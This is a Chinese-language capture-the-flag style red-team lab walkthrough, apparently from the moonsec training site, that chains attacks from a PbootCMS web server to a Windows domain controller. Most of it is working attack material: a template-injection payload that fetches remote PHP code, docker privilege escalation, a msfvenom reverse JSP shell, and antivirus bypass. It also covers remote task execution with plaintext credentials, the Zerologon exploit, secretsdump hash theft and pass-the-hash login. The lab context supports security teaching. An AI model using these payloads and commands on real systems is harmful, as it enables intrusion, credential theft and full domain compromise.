1. 项目八FBI简介 2
2. 靶场搭建 3
3. 信息收集 7
3.1. masscan端口扫描 7
3.2. nmap端口扫描与探查 8
3.3. 端口信息整理 9
3.4. 绑定域名hosts 9
4. 测试BOOTCMS安全 10
4.1. 查看cms版本 10
4.2. 下载备份文件 11
4.2.1. 下载SQLITE数据库文件 11
4.3. Sqlitebrowser 读取数据库密文 11
4.4. 登录后台拿WEBSHELL 12
5. 绕过宝塔disable_functions 13
6. 通过密钥登录SSH 15
7. 利用docker提权root 16
8. 渗透内网WEB服务器 17
8.1.1. 在cf1安装nmap对内网进行主机发现 17
8.1.2. nmap扫主机端口 17
8.2. 登录后台GETHSELL 19
8.3. metasploit 生成jsp shell 21
8.4. 生成免杀bypassAV 22
9. 对tomcat-web 内网服务器信息收集 25
9.1. MSF 后门Bypass defender 26
9.2. 防火墙拦截 27
9.3. ipc空链接 访问FILESERVER服务器 27
10. metasploit shellcode 免杀过defender和360
10.1. 开启tomcat服务器远程终端
10.2. 绕过CredSSP错误信息
10.3. 破解tomcat服务器管理员hash
11. 添加ipsec入站规则
11.1. sc复制文件到文件服务器
11.2. at命令执行文件
11.3. schtasks命令执行失败
11.4. Metasploit反像连接session
11.5. Cobalt sctike 反向连接后门
12. 对ad(域)网段进行信息收集
12.1. Nmap跨网段扫描AD域控端口
Meterperter添加路由
12.2. Impacket secretsdump获取域控哈希
12.3. Impacket smbexec.py登录域控
12.4. 得到最终得flag
13. 培训网站
本次靶场是一个高度安全的域控环境,存在多个防火墙,所以存在多个dmz,能有效隔离保护各个工作区。红队测试人员需要从互联网从对外网WEB服务器进行测试再进入内网服务器,进行资产收集,再渗透核心区域,打穿AD域控,拿到域控的权限。本次靶场测试用到很多内网穿透技术,绕过杀软等红队技术。
Ubuntu18.04选择桥接
Tomcat-web
文件服务器windwos server 2016
Windows Server 2019-DC
sudomasscan --ports 0-65535 192.168.0.121 --rate=500
Scanning1 hosts [65536 ports/host]
Discoveredopen port 22/tcp on 192.168.0.121
Discoveredopen port 8888/tcp on 192.168.0.121
Discoveredopen port 80/tcp on 192.168.0.121
Discoveredopen port 3306/tcp on 192.168.0.121
Discoveredopen port 21/tcp on 192.168.0.121
Discoveredopen port 888/tcp on 192.168.0.121
sudonmap -sS -p 1-65535 -v 192.168.0.121 -oA all-port
详细版本信息
sudonmap -sC -A -p 21,22,80,888,3306,888 192.168.0.121 -oA port-version
PORT STATE SERVICE VERSION
21/tcp open ftp Pure-FTPd
|ssl-cert: Subject:commonName=116.27.230.199/organizationName=BT-PANEL/stateOrProvinceName=Guangdong/countryName=CN
|Not valid before: 2020-10-28T04:54:10
|_Notvalid after: 2030-07-28T04:54:10
|_ssl-date:TLS randomness does not represent time
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux;protocol 2.0)
|ssh-hostkey:
| 2048 de:fe:58:1c:ed:ef:1d:4f:56:9e:b8:1e:71:4d:86:70 (RSA)
| 256 dc:5b:05:fa:fc:87:d5:f7:97:0a:13:04:fa:23:f0:9b (ECDSA)
|_ 256 47:ac:04:b5:4e:1d:a4:c9:c7:b0:7e:55:dd:26:96:2a (ED25519)
80/tcp open http Apache httpd
|_http-server-header:Apache
|_http-title:\xE6\xB2\xA1\xE6\x9C\x89\xE6\x89\xBE\xE5\x88\xB0\xE7\xAB\x99\xE7\x82\xB9
888/tcp open http Apache httpd
|_http-server-header:Apache
|_http-title:403 Forbidden
3306/tcpopen mysql MySQL (unauthorized)
MACAddress: 00:0C:29:98:32:C7 (VMware)
Warning:OSScan results may be unreliable because we could not find at least 1open and 1 closed port
AggressiveOS guesses: Linux 2.6.32 (96%), Linux 3.2 - 4.9 (96%), Linux 2.6.32 -3.10 (96%), Linux 3.4 - 3.10 (95%), Linux 3.1 (95%), Linux 3.2 (95%),AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), SynologyDiskStation Manager 5.2-5644 (94%), Netgear RAIDiator 4.2.28 (94%),Linux 2.6.32 - 2.6.35 (94%)
Noexact OS matches for host (test conditions non-ideal).
NetworkDistance: 1 hop
ServiceInfo: Host: 0b842aa5.phpmyadmin; OS: Linux; CPE:cpe:/o:linux:linux_kernel
TRACEROUTE
HOPRTT ADDRESS
1 0.75 ms 192.168.0.121
端口 | 版本信息 |
21 | Pure-FTPd |
22 | OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0 |
80 | 默认页面 宝塔套件信息 |
888 | 403 Forbidden |
8888 | 宝塔后台登录提示 |
3306 | mysql |
访问IP根据提示绑定www.cf1.com到192.168.0.121
sudo vi /etc/hosts
访问
cms的渗透思路
确定cms版本查看升级说明 特别是漏洞公告 然后进行文件对比定位漏洞 分析漏洞与补丁
http://www.cf1.com/doc/ChangeLog.txt
用备份扫描器获取备份文件
http://www.cf1.com/config.tar.gz
http://www.cf1.com/config/database.php~
Bootcms默认数据库是sqlite默认下载
data/pbootcms.db
查看config.php发现默认db位置已经修改
data/c6613b090db86e60916afb3af6f923d2.db
sqlitebrowser c6613b090db86e60916afb3af6f923d2.db
CMD5解密密文是 admin7788
账号 | 密码 | 明文 |
admin | 14e1b600b1fd579f47433b88e8d85291 | admin7788 |
在公司信息填写
{pboot:if(implode('',['f','i','l','e','_','p','u'.'t','_c','o','n','t','e','n','t','s'])(implode('',['2','.php']),implode('',['<?phpfile_','put_','contents(','"moon.php",','file','_get_','contents("','http://192.168.0.180/2.txt"))?>'])))}!!!{/pboot:if}
在本地生成一个2.php文件再去访问2.php会根目录下生成moon.php
https://github.com/mm0r1/exploits
发现存在用户
cf1:x:1000:1000:CF1,,,:/home/cf1:/bin/bash
复制私钥id_rsa设置权限
chmod 600 id_rsa
ssh -i id_rsa cf1@192.168.0.121
docker run -v /etc:/mnt -it alpine
增加root用户
opensslpasswd -1 --salt moonsec
$1$moonsec$.VXUP/Jd9iJIiqrZv/vyj1
往passwd增加用户信息
sumoonsec 切换用户即可获取root权限
nmap-sn 192.168.0.0/24 -T4
对内网整个段主机发现
root@08:/tmp#nmap -F 192.168.0.124
StartingNmap 7.60 ( https://nmap.org ) at 2020-11-07 12:20 CST
Nmapscan report for 192.168.0.124
Hostis up (-0.15s latency).
Notshown: 98 filtered ports
PORT STATE SERVICE
3306/tcpopen mysql
8080/tcpopen http-proxy
MACAddress: 00:0C:29:E7:BD:FC (VMware)
登录后台GETHSELL
后台弱口令123456
http://192.168.0.124:8080/cmscp/
创建穿越漏洞压缩文件
importzipfile
if__name__ == "__main__":
try:
binary =b'<script>alert("helloworld")</script>'
zipFile = zipfile.ZipFile("test5.zip","a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test5.zip")
zipFile.writestr("../../../moonsec.html",binary)
zipFile.close()
except IOError as e:
raise e
将war文件后门加入目录压缩包内
上传文件解压后没任何文件生成估计被杀软拦截了。
项目可以过杀软的
https://github.com/SecurityRiskAdvisors
上传后解压自动解压到
http://192.168.0.124:8080/cmd/cmd.jsp
新建html引用加载代码
<scripttype="text/javascript" src="a.js"></script>
能够执行命令了但是执行其他命令失败 上传文件也失败
网上很多war都被系统自带的杀软查刚好发现msf自带得jsp可以绕过。
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.180 LPORT=8888 -f raw> shell.jsp
创建文件夹WEB-INF
web.xml文件内容
<?xmlversion="1.0" encoding="ISO-8859-1" ?>
<web-appxmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2eehttp://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<display-name>Main</display-name>
<description>
Shell
</description>
<servlet>
<servlet-name>shell</servlet-name>
<jsp-file>/shell.jsp</jsp-file>
</servlet>
<servlet-mapping>
<servlet-name>shell</servlet-name>
<url-pattern>/shell</url-pattern>
</servlet-mapping>
</web-app>
Jar-cvf shell.war. shell.jsp
打包成war包
Metasploit监听jsp
msf5> use exploit/multi/handler
[*]Using configured payload generic/shell_reverse_tcp
msf5exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp
msf5exploit(multi/handler) > set lhost 192.168.0.180
lhost=> 192.168.0.180
msf5exploit(multi/handler) > set lport 8888
lport=> 8888
msf5exploit(multi/handler) > set shell cmd.exe
shell=> cmd.exe
msf5exploit(multi/handler) > exploit
得到seesion权限是管理员
简单收集一下进行发现存在数个杀软
生成的exe目前可以过defender和360全套
但是执行没有返回shell估计是被行为拦截了。
研究了一下过了
内网段存活主机
现在可以在metasploit下操作了
添加路由开启socks4a
nmap对10.10.1.128对其端口扫描发现只允许开放445端口
可以访问到文件服务器。
出现这种情况用同样版本的或者是win2016的主机链接就能解决
在添加规则之前要登录系统把360安全卫士关掉,不然会进行netsh拦截
shell netsh interface portproxy add v4tov4listenport=7788 connectaddress=192.168.0.130 connectport=7788
查看规则
netsh interface portproxy show all
查看时间
net time \\10.10.1.128
执行任务
shell at time \\10.10.1.128 22:59:00 c:/windows/temp/rve.exe
at命令已经没用
shell SCHTASKS /Create /S 10.10.1.128 /u administrator /p QWEasd123 /SCONCE /ST 23:40 /TN test1 /TR c:\windows\temp\rve.exe /RU system
PsExec.exe \\10.10.1.128 -u administrator -pQWEasd123 -i c:\\windows\\temp\\rve.exe
Cobaltsctik 设置监听器
tomcat-web Beacon 添加转发规则
shell netsh advfirewall firewall add rule name="1234"protocol=TCP dir=in localport=1234 action=allow
在fileserver上的meterpreter 上传生成后的后门执行即可
返回fileserver的会话接下来再对 10.10.10.140段再进行内网渗透
网卡信息
在域内
无法列
列域错误
shell arp -a
名字为dc
run autoroute -p 10.10.10.0/24
proxychains nmap -sT -Pn 10.10.10.139 -v
看到端口信息可以确定这台是域控
CVE-2020-1472:NetLogon 打穿域控
proxychains ./CVE-2020-1472.py dc dc$ 10.10.10.139
存在漏洞可以进行利用 密码重置成空
Impacket下载最新得版本
python setup.py installl
proxychains python3 secretsdump.py fbi/dc\$10.10.10.139 -just-dc -hashes :
proxychains python3 smbexec.py -hashesaad3b435b51404eeaad3b435b51404ee:669a3273144a82b942377c1001ed03a3administrator@10.10.10.139
暗月安全培训https://edu.moonsec.com